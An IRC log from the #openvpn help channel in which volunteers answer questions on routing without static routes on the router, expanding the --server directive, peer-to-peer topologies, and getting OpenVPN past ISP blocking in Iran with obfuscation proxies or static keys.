05:22 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 252 seconds]
05:24 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
05:25 -!- kasper93__ is now known as kasper93
05:46 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
05:47 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Client Quit]
06:03 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
06:11 -!- Zap-W is now known as zxd
07:00 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
07:04 -!- xrosnight [~quassel@113.81.14.7] has quit [Quit: No Ping reply in 180 seconds.]
07:04 -!- xrosnight [~quassel@113.81.14.7] has joined #openvpn
07:06 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has joined #openvpn
07:07 -!- i7c_ [~i7c@80-69-77-233.colo.transip.net] has quit [Changing host]
07:07 -!- i7c_ [~i7c@unaffiliated/i7c] has joined #openvpn
07:07 -!- i7c_ is now known as i7c
07:31 -!- fenris_kcf [~fenris@p4FFE468A.dip0.t-ipconnect.de] has joined #openvpn
07:32 < fenris_kcf> hy. my darn router does not support static routes. is there a way to establish the VPN without the need for static routes?
07:54 -!- xrosnight [~quassel@113.81.14.7] has quit [Changing host]
07:54 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
08:39 -!- pagios [pagioss@gateway/shell/bnc4free/x-iepwcxcrevkzuvvj] has quit [Quit: I'm using a Free IRC Bouncer from BNC4FREE - http://bnc4free.com/]
08:40 -!- pagioss [pagioss@gateway/shell/bnc4free/x-zvfhzncohawedyuw] has joined #openvpn
08:44 < wallbroken_u_z> !osxipforward
08:44 <@vpnHelper> "osxipforward" is (#1) sysctl -w net.inet.ip.forwarding=1 for a temp solution or (#2) add IPFORWARDING=-YES- in /etc/hostconfig for a permanent solution
08:46 < wallbroken_u_z> !openvznat
08:46 <@vpnHelper> "openvznat" is (#1) a user reported success with this command: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j SNAT --to <PUBLIC-IP> or (#2) someone else got it working with: iptables -t nat -A POSTROUTING -s <vpn_subnet>/<netmask> -o eth<public> -j SNAT --to <public ip>
08:46 < wallbroken_u_z> !fbsdnat
08:46 <@vpnHelper> "fbsdnat" is nat on $ext_if from $vpn_network to any -> ($ext_if) (this is for PF)
08:57 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
08:59 -!- Zap-W_ [~zxd@bzq-79-180-106-187.red.bezeqint.net] has joined #openvpn
08:59 -!- zxd [~zxd@bzq-218-200-107.red.bezeqint.net] has quit [Ping timeout: 260 seconds]
09:05 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
09:13 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 245 seconds]
09:18 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
09:29 -!- zxd [~zxd@109.65.162.225] has joined #openvpn
09:29 -!- Zap-W_ [~zxd@bzq-79-180-106-187.red.bezeqint.net] has quit [Ping timeout: 252 seconds]
09:41 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:43 -!- master_of_master [~master_of@p4FF24DB0.dip0.t-ipconnect.de] has joined #openvpn
09:46 -!- master_o1_master [~master_of@p4FF24BBC.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
09:56 -!- kasper93_ [~kasper93@unaffiliated/kasper93] has joined #openvpn
09:57 -!- kasper93 [~kasper93@unaffiliated/kasper93] has quit [Ping timeout: 252 seconds]
10:03 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 260 seconds]
10:03 -!- kasper93__ [~kasper93@unaffiliated/kasper93] has joined #openvpn
10:05 -!- kasper93_ [~kasper93@unaffiliated/kasper93] has quit [Ping timeout: 256 seconds]
10:16 -!- kasper93 [~kasper93@unaffiliated/kasper93] has joined #openvpn
10:18 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Quit: No Ping reply in 180 seconds.]
10:18 -!- crus [~crusader@2001:44b8:319e:2900:20fe:8018:63ba:9b66] has joined #openvpn
10:18 -!- xrosnight [~quassel@113.81.14.7] has joined #openvpn
10:19 -!- kasper93__ [~kasper93@unaffiliated/kasper93] has quit [Ping timeout: 252 seconds]
10:21 -!- crus` [~crusader@2001:44b8:319e:2900:b19a:95c6:e3e1:87e1] has quit [Ping timeout: 245 seconds]
10:30 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
10:41 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
10:41 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
10:50 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
10:51 -!- mode/#openvpn [+o EugeneKay] by ChanServ
10:51 -!- mode/#openvpn [+vvvv __bt __FBi _br_ _quadDamage] by EugeneKay
10:51 -!- mode/#openvpn [+vvvv Aelius aji Aketzu akselii_] by EugeneKay
10:51 -!- mode/#openvpn [+vvvv andi APTX_ AsadH atem] by EugeneKay
10:51 -!- mode/#openvpn [+vvv b00b batrick ben1066] by EugeneKay
10:51 -!- mode/#openvpn [+vvvv bersace bogie Brando753 brian__] by EugeneKay
10:51 -!- mode/#openvpn [+vvvv BtbN C-S-B caelian2 calcifea] by EugeneKay
10:51 -!- mode/#openvpn [+vvvv cali Champi Chrisje clu5ter] by EugeneKay
10:51 -!- mode/#openvpn [+vvv codehero Cpt-Oblivious Cr4zi3] by EugeneKay
10:51 -!- mode/#openvpn [+vvvv crus Cultist cyberspace- Cybertinus] by EugeneKay
10:51 -!- mode/#openvpn [+vvvv dandy davidmp Denial digilink] by EugeneKay
10:51 -!- mode/#openvpn [+vvvv dos-freak dowaat DrCode dvl] by EugeneKay
10:51 -!- mode/#openvpn [+vvv Eagleman7 eHAPPY eliasp] by EugeneKay
10:51 -!- mode/#openvpn [+vvvv emid EmLeX esde exoa] by EugeneKay
10:51 -!- mode/#openvpn [+vvvv fayisha fenris_kcf Fetch Fiouz] by EugeneKay
10:51 -!- mode/#openvpn [+vvvv franks2_ fred`` Fruckiwacki- fvalente] by EugeneKay
10:51 -!- mode/#openvpn [+vvv GabrieleV gardar gffa] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv grep0r guntha haasn Haigha] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv Haseo havoc HectorBarbossa heraclitus] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv Hes hgax hive-mind i7c] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv intricate JackSummer jacob11 james41382_] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv Jaska_ jave jefferai_gone jgeboski] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv jhp joshh20_ joshu js_] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv jtrucks juxta jzaw kantlivelong] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv kasper93 kenyon keropok ketas] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv kevinsky KiNgMaR kirin` kisom] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv klaxa kloeri kossy kraut] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv kro[au] krphop Kuba lachesis] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv lamokie lazzer lbft levifig] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv lickalott Linmu_ liriel lowkey] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv m01 MacGyver manitu mapps] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv marlinc Martin` maskedlua master_of_master] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv Matir matsh mback2k_ mcp] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv MeanderingCode meepmeep mete mgorbach] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv Mike-- moparisthebest MorgyN mrrg] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv mrrothhcloud___ mrtnt namidark NChief2] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv ngharo niftylettuce nobit noobboob] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv Nothing4You nutron obesd oc80z] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv occupant Olipro oO0Oo P4k3] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv pa PackardBell pagioss pcdummy] by EugeneKay
10:52 -!- mode/#openvpn [+vvv Pei pekster peper] by EugeneKay
10:52 <+fenris_kcf> watzefagg?
10:52 -!- mode/#openvpn [+vvvv pepijndevos phreakocious piem plaisthos] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv pnielsen pppingme Probeus pwrcycle] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv qwertyoruiop Rallias red_racer12 reiffert] by EugeneKay
10:52 -!- mode/#openvpn [+vvvv riddle rkantos_ rob0 rooth] by EugeneKay
10:53 -!- mode/#openvpn [+vvvv roue s0meone saneki sauce] by EugeneKay
10:53 -!- mode/#openvpn [+vvvv Serano simcop2387 sitaktif Six6siX] by EugeneKay
10:53 -!- mode/#openvpn [+vvvv SJr SlutaTramsa Sorcier_FXK steven776] by EugeneKay
10:53 -!- mode/#openvpn [+vvvv stickpin_ surfmasta tapout tdreyer1] by EugeneKay
10:53 <+Aketzu> sounds like christmas
10:53 -!- mode/#openvpn [+vvvv tempus_fol Tera thalweg tharkun] by EugeneKay
10:53 -!- mode/#openvpn [+vvvv Thermi thumbs troj troyt] by EugeneKay
10:53 -!- mode/#openvpn [+vvvv TypoNe Varazir volnukhin VunKruz] by EugeneKay
10:53 -!- mode/#openvpn [+vvvv wallbroken_u_z WinstonSmith xBytez XJR-9] by EugeneKay
10:53 -!- mode/#openvpn [+vvvv Gman32 GrecKo xorox90 xrosnight] by EugeneKay
10:53 -!- mode/#openvpn [+vvvv xTz zxd [1]JPeterson |1li_] by EugeneKay
10:53 <@EugeneKay> DER BLINKENLIGHTS
10:53 <+MacGyver> EugeneKay: I have to ask though, are you doing this manually? :P
10:54 <@EugeneKay> If by manually you mean "selecting people a page at a time in HexChat and right-clicking to the Give Voice button", then yes.
10:54 <+MacGyver> That's what I mean, yes.
10:54 <+MacGyver> You were going too fast for typing the command each time :P
10:55 <+wallbroken_u_z> it's xmas, then, solve us VPN problems then be happy :D
10:55 <@EugeneKay> And too lazy to have set up a /voiceall command
10:56 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Read error: Connection reset by peer]
10:57 <+wallbroken_u_z> for example I don't know why using server 10.0.0.0 255.255.255.0 on server side, I don't get the same effect of "tls-server; ifconfig 10.0.0.1 255.255.255.0
10:58 <+wallbroken_u_z> all the condition of the --server script are true
10:58 <+wallbroken_u_z> dev tun with topology subnet :D
11:15 <@krzee> haha
11:15 <@krzee> in my client highlighting all and then voicing would have done it
11:17 <+fenris_kcf> my darn router does not support static routes. is there a way to establish the VPN without the need for static routes?
11:27 <@krzee> what router?
11:30 -!- Aketzu [akolehma@81.22.244.161] has quit [Ping timeout: 272 seconds]
11:32 -!- Aketzu [akolehma@kelvin.aketzu.net] has joined #openvpn
11:33 -!- xrosnight [~quassel@113.81.14.7] has quit [Changing host]
11:33 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
11:33 -!- ServerMode/#openvpn [+v xrosnight] by sendak.freenode.net
11:33 -!- mode/#openvpn [-v xrosnight] by ChanServ
11:33 <+wallbroken_u_z> http://nopaste.info/a2b2ae6770.html
11:34 <+wallbroken_u_z> please, tell me why using "tls-client + ifconfig" don't work but using "client", does work
11:34 <+wallbroken_u_z> not working means that connects but don't ping each-other
11:35 <+wallbroken_u_z> log says: "WARNING: 'ifconfig' is present in local config but missing in remote config, local='ifconfig 10.0.0.0 255.255.255.0'"
11:35 <+wallbroken_u_z> but that's false
11:35 <+wallbroken_u_z> with dev tun + subnet topology, --server script will do ifconfig 10.0.0.1 255.255.255.0
11:36 -!- hadifarnoud [~hadifarno@151.240.15.47] has joined #openvpn
11:37 <+fenris_kcf> krzee: Telekom W700V
11:37 <+fenris_kcf> how does that matter?
11:37 < hadifarnoud> Iran recently blocked OpenVPN in addition to other vpn protocols. can someone help me find out at what stage they block it? if I know that, I might be able to fix it,
11:39 -!- james41382_ [~james@unaffiliated/james41382] has quit [Ping timeout: 240 seconds]
11:40 < hadifarnoud> this is my openvpn log https://gist.github.com/hadifarnoud/c78060844e290651d781 seems like TLS negotiation has failed. looks like they sniff packets and block it that way
11:40 <@vpnHelper> Title: openvpn.log (at gist.github.com)
11:40 < hadifarnoud> any way I can get around this?
11:41 -!- james41382_ [~james@unaffiliated/james41382] has joined #openvpn
11:41 <+Thermi> There are obfuscation proxies available that pack specific traffic into other other kinds of traffic, like HTTP
11:42 <+pekster> hadifarnoud: OpenVPN has a detectable handshake fingerprint. Either see obfuscation like !obfs, or consider using !statickey which uses a pre-shared key (PSK) that has no fingerprint at all; it's just random data
11:42 < hadifarnoud> thanks pekster. I look into it
11:43 <@krzee> fenris_kcf, just cause theres a way to do it in dlink routers that is hard to find? but that wont help you.   do you have a lot of machines in the lan with that router?
11:44 <+wallbroken_u_z> hi pekster, if you have nothing to do: http://nopaste.info/a2b2ae6770.html it connects but don't ping
11:44 -!- mode/#openvpn [-v marlinc] by ChanServ
11:44 <+fenris_kcf> krzee: it's my dsl-router
11:44 <+fenris_kcf> so the LAN is quite small
11:44 <@krzee> fenris_kcf, ok so you can add the static routes to the lan machines instead
11:44 <@krzee> i mention this in !route
11:45 <+fenris_kcf> !route
11:45 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or
11:45 <@vpnHelper> client
11:45 <+fenris_kcf> krzee: the opnvpn-server is on machine in the local network, not on the router
11:45 <@krzee> that is fine
11:46 <@krzee> you just tell the other machines to route the desired subnets over that lan machine
11:46 <@krzee> !route_outside_ovpn
11:46 <@vpnHelper> "route_outside_ovpn" is "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
11:46 <@krzee> see that section of !route, "ROUTES TO ADD OUTSIDE OPENVPN"
11:46 <@krzee> "the annoying work-around would be to add the route to every box on the LAN, in which case step 3 above would work."
11:47 <@krzee> (not that annoying for a small lan)
11:48 <+pekster> wallbroken_u_z: Set up --keepalive support so you know if the link went down after the timeout period
11:48 <+pekster> If that's not your problem, you have firewall issues
11:48 <+wallbroken_u_z> no
11:48 <+wallbroken_u_z> no firewall issues
11:49 <+wallbroken_u_z> if I do use --server instead --tls-server
11:49 <+wallbroken_u_z> i can ping
11:49 < hadifarnoud> !obfs
11:49 <@vpnHelper> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en to encapsulate your packets in other protocols or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation or (#3) in client/server mode an admin can know that openvpn is being
11:49 <@vpnHelper> used. in static-key mode they only know that it is some encrypted data, but not specifically openvpn; however with static-key you lose forward security (!forwardsecurity)
11:49 <+wallbroken_u_z> using "tls-client + ifconfig" don't work but using "client", does work
11:49 <+wallbroken_u_z> log says: "WARNING: 'ifconfig' is present in local config but missing in remote config, local='ifconfig 10.0.0.0 255.255.255.0'"
11:49 <+pekster> wallbroken_u_z: Then you didn't expand --server properly. Your paste link has --server in it. I'm not playing guessing games with you
11:49 <+wallbroken_u_z> but that's false
11:49 <+wallbroken_u_z> with dev tun + subnet topology, --server script will do ifconfig 10.0.0.1 255.255.255.0
11:50 <@krzee> it does a lot more
11:50 <+wallbroken_u_z> concerning with the manual, --server script if i do use tun with subnet topology, means: ifconfig 10.0.0.1 255.255.255.0
11:50 <+wallbroken_u_z> is written on the manual
11:51 <@krzee> and thats ALL it does?
11:51 <@krzee> or could you possibly be skipping some of what it does
11:51 <+wallbroken_u_z> yes, for sure
11:52 <@krzee> no
11:52 <+wallbroken_u_z> the problem is revert
11:52 <@krzee> i see it expanding to 5 commands in your case
11:52 <@krzee> or 6 if nopool
11:52 <@krzee> oh no, 6 unless nopool
11:52 <@krzee> so likely 6 commands
11:53 <+wallbroken_u_z> with --tls-server + ifconfig 10.0.0.1 do works, with --server 10.0.0.1 255.255.255.0 DO NOT
11:53  * pekster thinks the howto would make a lot more sense without helper directives, at least from an explaining standpoint :\
11:53 <+wallbroken_u_z> so, the only thing that the first choice does is ifconfig 10.0.0.1 255.255.255.0
11:53 <@krzee> 10.0.0.1 is not a network address
11:53 -!- mode/#openvpn [-v klaxa] by ChanServ
11:53 <+wallbroken_u_z> yeah sorry
11:54 <+wallbroken_u_z> --server 10.0.0.0 255.255.255.0
11:54 <+wallbroken_u_z> i'm wrong riting on IRC
11:54 <+wallbroken_u_z> *w
11:54 <@krzee> ya ive noticed
11:54 <+wallbroken_u_z> maybe i need to add some other directive to that config?
11:54 <@krzee> !configs
11:54 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
11:54 <@krzee> !goal
11:54 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
11:55 -!- zxd [~zxd@109.65.162.225] has quit [Ping timeout: 260 seconds]
11:55 -!- mode/#openvpn [+vvvv Aketzu hadifarnoud james41382_ klaxa] by krzee
11:55 -!- mode/#openvpn [+v xrosnight] by krzee
11:57 <+wallbroken_u_z> krzee, it's all okay, maybe i'd like only to understand this issue, in particular why, with "--tls-server + ifconfig 10.0.0.1 255.255.255.0" but with "--server 10.0.0.0 255.255.255.0" do not
11:57 <+pekster> Post configs dude
11:57 <@krzee> without configs i will ignore you
11:57 <+wallbroken_u_z> ok
11:57 <+pekster> You have major problems with the one you posted if that's "all" you did, and you're being very (very!) foolish for not reading the manpage both I and krzee told you to read
11:58 <+pekster> I'll even give you searchable text you should read: "For example, --server 10.8.0.0 255.255.255.0 expands as follows:"
11:59 <@krzee> or even "--server "
11:59 <@krzee> although yours is better :D
12:00 <+pekster> Copy/paste does wonders sometimes ;)
12:01 <+wallbroken_u_z> http://nopaste.info/19f73b13b3.html
12:01 <+wallbroken_u_z> i've posted both the config
12:01 <@krzee> do you reall have a line in the config with ------------------ ?
12:01 <+wallbroken_u_z> no
12:02 <@krzee> oh no i see what you did there
12:02 <+wallbroken_u_z> it's only to separate the config
12:02 <@krzee> client server client server
12:02 -!- Devastator [~devas@177.18.199.113] has joined #openvpn
12:02 <+wallbroken_u_z> any idea on why the first do not works
12:03 <@krzee> wow
12:03 <@krzee> you sure you read the manual?
12:03 <+hadifarnoud> I can't find obfsproxy for windows.
12:03 <@krzee> specifically the part we keep talking about
12:03 <@krzee> For example, --server 10.8.0.0 255.255.255.0 expands as follows:
12:03 <@krzee>  mode server
12:03 <@krzee>  tls-server
12:03 <@krzee>  push "topology [topology]"
12:04 <@krzee> i mean seriously, pekster even gave you the first line
12:04 -!- jblack [~jblack@c-50-135-120-40.hsd1.wa.comcast.net] has joined #openvpn
12:04 <@krzee> you just had to keep reading for a few lines
12:04 <+wallbroken_u_z> topology is also in client config
12:04 <@krzee> the very first line is mode server
12:04 <+hadifarnoud> where can I find obfsproxy for windows
12:04 <@krzee> which you dont have
12:04 <@krzee> the very first line after what pekster pasted
12:05 <+wallbroken_u_z> ok, but it works the same
12:05 <+wallbroken_u_z> the problem is with --server
12:05 -!- jblack [~jblack@c-50-135-120-40.hsd1.wa.comcast.net] has quit [Client Quit]
12:05 <+wallbroken_u_z> and not with --tls-server
12:05 <@krzee> :x
12:05 <+wallbroken_u_z> this is the point
12:05 <@krzee> the problem is the user
12:05 <@krzee> honestly, this shit works fine
12:05 <+wallbroken_u_z> :\
12:05 <@krzee> you just wont listen to us or the manual
12:06 <@krzee> --mode m
12:06 <@krzee>  Set OpenVPN major mode. By default, OpenVPN runs in point-to-point mode ("p2p"). OpenVPN 2.0 introduces a new mode ("server") which implements a multi-client server capability.
12:06 <+wallbroken_u_z> ok, what i should add to the first configuration to make it work?
12:06 <@krzee> dude, theres such a SMALL part of the manual that explains all of this
12:06 <@krzee> !read
12:06 <@vpnHelper> "read" is <krzee> ive been known to overreact when people look for 2 minutes and ask me to explain it to them
12:07 <+wallbroken_u_z> ok, I'll try reading well
12:07 <+wallbroken_u_z> thank you
12:07 <@krzee> [14:00]  <pekster> I'll even give you searchable text you should read: "For example, --server 10.8.0.0 255.255.255.0 expands as follows:"
12:07 <@krzee> [14:01]  <krzee> or even "--server "
12:07 <@krzee> that part
12:07 <@krzee> none of it is optional
12:07 <+wallbroken_u_z> ahahhaahha I know that part in memory
12:07 <@krzee> if you dont want to use the working --server directive, then you need to set stuff up manually
12:07 <+wallbroken_u_z> as a poetry :)
12:08 <@krzee> but you need to do it correctly
12:08 <@krzee> you cant skip things like --mode
12:08 <+wallbroken_u_z> ok
12:08 <+hadifarnoud> where can I find obfsproxy for windows? my ISP blocked OpenVPN.
12:08 <+wallbroken_u_z> thank you very much
12:08 <@krzee> yw
12:09 <@krzee> hadifarnoud, lemme look
12:11 <+hadifarnoud> I already tried http://awgh.org/files/obfsvpn-installer-0_0_1.exe btw krzee.
12:14 <+hadifarnoud> I have Windows Server 2012, that installer is too old for it
12:14 <@krzee> im thinking this isnt really a windows thing
12:14 <@krzee> they do have experimental bundles adding it to browsers
12:14 <@krzee> likely integrated with tor
12:15 <@krzee> but not just the proxy like youd use for openvpn
12:16 <+hadifarnoud> krzee: :( is there any other way I can hide my openvpn fingerprint?
12:16 <@krzee> like pekster said you could use a static key
12:16 <+hadifarnoud> I'm using SoftEther. obfsproxy was perfect for it
12:16 <@krzee> that has no fingerprint
12:16 <+hadifarnoud> not sure I can do that with SoftEther krzee.
12:17 <@krzee> sorry i know nothing of softether i support openvpn
12:17 <@krzee> openvpn supports statickey
12:17 <+hadifarnoud> !psk
12:17 <+hadifarnoud> ah, what was it?
12:17 <@krzee> !statickey
12:17 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
12:28 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 252 seconds]
12:30 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
12:32 <+pekster> !learn psk as [statickey]
12:32 <@vpnHelper> Joo got it.
12:34 -!- mete [~mete@mete.shell.la] has quit [Quit: .]
12:36 -!- michele [~eraser@host209-21-static.4-79-b.business.telecomitalia.it] has joined #openvpn
12:36 < michele> hi there
12:36 < michele> I am currently using hamachi because it does not need a vpn server (I have 4 nodes on my network). Is there an equivalent solution using openvpn? (I mean p2p)
12:38 <+fenris_kcf> michele: hamachi does use a server
12:39 < michele> fenris_kcf: yes but it is not handled by me.
12:39 <+hadifarnoud> can I use SOCKS proxy for openvpn authentication? turns out, I can't change my server config. my ISP blocked openvpn.
12:40 < michele> fenris_kcf: major advantages is over openvpn client/server is: with openvpn, if one of my 4 boxes is the server and it's down, then all the client can't connect between them (I should reconfigure one of the 3 boxes alive to act like a server). with hamachi this problem is non existent.
12:41 <+fenris_kcf> well, yes. if you don't care what Hamachi does with your traffic
12:42 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 246 seconds]
12:46 < michele> fenris_kcf: major concern. that's why I am asking if there is an equivalent configuration for openvpn
12:46 < michele> like: there is no server, and all clients are p2p. if one of the nodes goes down, still all the clients are able to communicate with the alive ones.
12:47 <+fenris_kcf> i'm not an expert, but i'm quite sure that a server is needed in any case
12:47 <+pekster> p2p is supported, but only between 2 nodes
12:47 <+pekster> You're free of course to define your own star topology, but you need links between every pair of peers then (there's some project that setups up configs like that)
12:48 <+pekster> Your other option is a backup server and some logic to get clients attached to a backup if the primary goes down
12:48 < michele> hmmm I see pekster
12:48 < michele> so every node should have an 'ancestor' and 'successor'
12:48 < michele> if we may call them so
12:49 <+pekster> Um, no. p2p is just that; a peer-to-peer link
12:49 <+pekster> It's just "this side" and "that side"
12:49 <+pekster> Google for "star topology" for an idea
12:50 <+pekster> ie: a 5-client star style openvpn p2p layout takes 10 VPN links
12:50 <+rob0> I have done it with 6.
12:50 <+fenris_kcf> hmm, is it star? shouldn't it be "vollvermascht"?
12:50 < michele> full connected
12:51 <+pekster> Sure, depends on how exactly you set up the routing
12:51 < michele> http://upload.wikimedia.org/wikipedia/commons/3/3c/NetworkTopology-FullyConnected.png
12:51 < michele> like this.
12:51 <+fenris_kcf> "fully meshed"?
12:51 <+rob0> I just did simple p2p links connecting each endpoint. Redundant routing did not matter, because we figured if a VPN link was down, that node was down.
12:52 < michele> sounds like too much work for me setting up 6 VPN links for 4 nodes
12:52 <+pekster> PSK is pretty simple really
12:52 <+rob0> I wrote two config files and edited them for the others.
12:52 < michele> mind sharing rob0?
12:53 <@krzee> !mesh
12:53 <@vpnHelper> "mesh" is (#1) openvpn does not do mesh networking or (#2) see !rip or (#3) check out http://github.com/darkpixel/openmesher/ for auto-creating openvpn meshes
12:54 <+hadifarnoud> can I use SOCKS proxy for openvpn authentication?I can't change my server config. my ISP blocked openvpn.
12:54 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
12:55 <@krzee> hadi: see every instance of the word "socks" in the manual
12:55 <@krzee> !man
12:55 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
12:55 <+fenris_kcf> general question: what must be set to run both server and client on the same machine?
12:55 <+fenris_kcf> (how must the client be called?)
12:56 <@krzee> fenris_kcf, simply have a config for the client and one for the server
12:56 <+fenris_kcf> krzee: i tried this: https://wiki.debian.org/OpenVPN
12:56 <@vpnHelper> Title: OpenVPN - Debian Wiki (at wiki.debian.org)
12:56 <@krzee> now im supposed to go read that?
12:56 <+fenris_kcf> no
12:57 <@krzee> cool
12:57 <+fenris_kcf> openvpn --dev tun1 --ifconfig 10.9.8.1 10.9.8.2
12:57 <+fenris_kcf> openvpn --remote localhost --dev tun1 --ifconfig 10.9.8.2 10.9.8.1
12:57 <+fenris_kcf> that does not work
12:57 <+fenris_kcf> the second says that the address is already in use
12:57 <@krzee> a) dont connect to the machine you're on
12:57 <+pekster> Need to use --nobind, becuase you can't have 2 programs using 1194 as their socket
12:57 <@krzee> seriously, use 2 machines
12:58 <+pekster> And yea, that won't do what you want anyway without advanced policy routing (that gets complex in a hurry)
12:58 <@krzee> b) you cant use --dev1 with 2 seperate instances
12:58 <@krzee> dev tun1*
12:58 <+fenris_kcf> so it's generally not a good idea to use one machine for server and client?
12:58 <+pekster> What's the point?
12:58 <@krzee> not to connect to ITSELF
12:58 <+pekster> A VPN creates a link; if you want to talk to "localhost", you have 127/8
12:59 <+pekster> "ping 127.0.0.1" and you win. No VPN needed ;)
12:59 <+fenris_kcf> meeeh
12:59 <+fenris_kcf> i want to establish the VPN for me and others of course
12:59 <@krzee> then wtf you doing connecting to yourself?
12:59 <+pekster> So you want to test it? That's logical. Use a separate OS then (use a VM if you "only" have one computer at home)
12:59 <+fenris_kcf> no, i really wanted to use one machine for server and client
13:00 <+fenris_kcf> but if that's too hard to configure ..
13:00 <+pekster> You can't do that on the same VPN instance
13:00 <+pekster> that's also utterly pointless
13:00 <@krzee> there is NOTHING gained by that
13:00 <+pekster> (well, you can do it, but it's not only pointless, it involves a lot of very complex networking you shouldn't worry about. seriously)
13:00 <+fenris_kcf> why is it pointless?
13:00 <+pekster> Do you also do `ssh localhost` a lot too?
13:01 <@krzee> what do you think openvpn is for?
13:01 <+pekster> It's that level of pointless
13:01 <+pekster> A VPN is a virtual link. Would you buy 2 network cards, plug them into the same PC, and then run a cable between them? What is gained by that?
13:01 <@krzee> hey nice
13:01 <@krzee> thats EXACTLY what it is
13:01 <+hadifarnoud> quick question, if I have socks proxy, should I use TCP or I can still use UDP?
13:02 <@krzee> it is getting a second nic to plug into your first nic
13:02 <+fenris_kcf> do you still don't get that i'm not the only one using the VPN?
13:02 <+pekster> hadifarnoud: SOCKS5 can support UDP if your proxy allows it
13:02 <@krzee> fenris_kcf, you dont need a client on that machine in order to reach other clients
13:02 <@krzee> the machine is already the server
13:02 -!- michele [~eraser@host209-21-static.4-79-b.business.telecomitalia.it] has left #openvpn ["Leaving..."]
13:02 <@krzee> just have the clients connect from other places and you're done
13:03 <@krzee> fenris_kcf, each openvpn instance is a virtual adapter. picture it like a NIC with a cable
13:03 <@krzee> you already have 1 for the vpn, you dont need a second to plug in to the first one
13:04 <+fenris_kcf> so in order to USE the VPN on the server, i don't have to run a client on it
13:04 <+fenris_kcf> yes?
13:04 <@krzee> the server is already on the vpn
